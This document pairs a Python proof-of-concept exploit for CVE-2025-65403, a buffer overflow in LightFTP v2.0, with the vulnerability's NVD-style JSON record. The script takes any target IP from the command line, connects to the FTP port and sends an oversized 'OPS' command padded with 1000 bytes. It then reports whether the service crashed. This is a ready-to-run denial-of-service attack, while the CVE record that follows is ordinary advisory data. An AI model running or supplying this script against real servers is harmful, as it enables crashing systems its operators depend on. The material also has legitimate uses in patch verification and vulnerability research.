CVE-2025-65403

# CVE-2025-65403 PoC - LightFTP MaxUsers Buffer Overflow # This PoC demonstrates how to trigger the buffer overflow in LightFTP MaxUsers component import socket import sys def create_ftp_payload(): """Create malicious payload to overflow MaxUsers buffer""" # Crafted input that exceeds buffer size in g_cfg.MaxUsers # The overflow occurs when processing MaxUsers configuration overflow_data = b'OPS' + b'A' * 1000 # Malformed command with oversized data return overflow_data def send_exploit(target_host, target_port=21): """Send exploit payload to LightFTP server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Receive initial FTP banner banner = sock.recv(1024) print(f"[+] Received banner: {banner.decode().strip()}") # Send crafted payload to trigger buffer overflow in MaxUsers payload = create_ftp_payload() sock.send(payload) print(f"[+] Sent malicious payload ({len(payload)} bytes)") # Try to receive response try: response = sock.recv(1024) print(f"[*] Response: {response.decode().strip()}") except: print("[*] No response received - service may have crashed") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 print(f"[*] Exploiting CVE-2025-65403 on {target}:{port}") send_exploit(target, port)

{"cve": {"id": "CVE-2025-65403", "sourceIdentifier": "[email protected]", "published": "2025-12-01T16:15:57.030", "lastModified": "2025-12-05T21:50:48.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow in the g_cfg.MaxUsers component of LightFTP v2.0 allows attackers to cause a Denial of Service (DoS) via a crafted input."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hfiref0x:lightftp:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "E724F75C-F386-467E-8626-624D9D6C78D5"}]}]}], "references": [{"url": "https://github.com/hfiref0x/LightFTP", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://shimo.im/docs/9030JMJpv4IM4Nkw", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}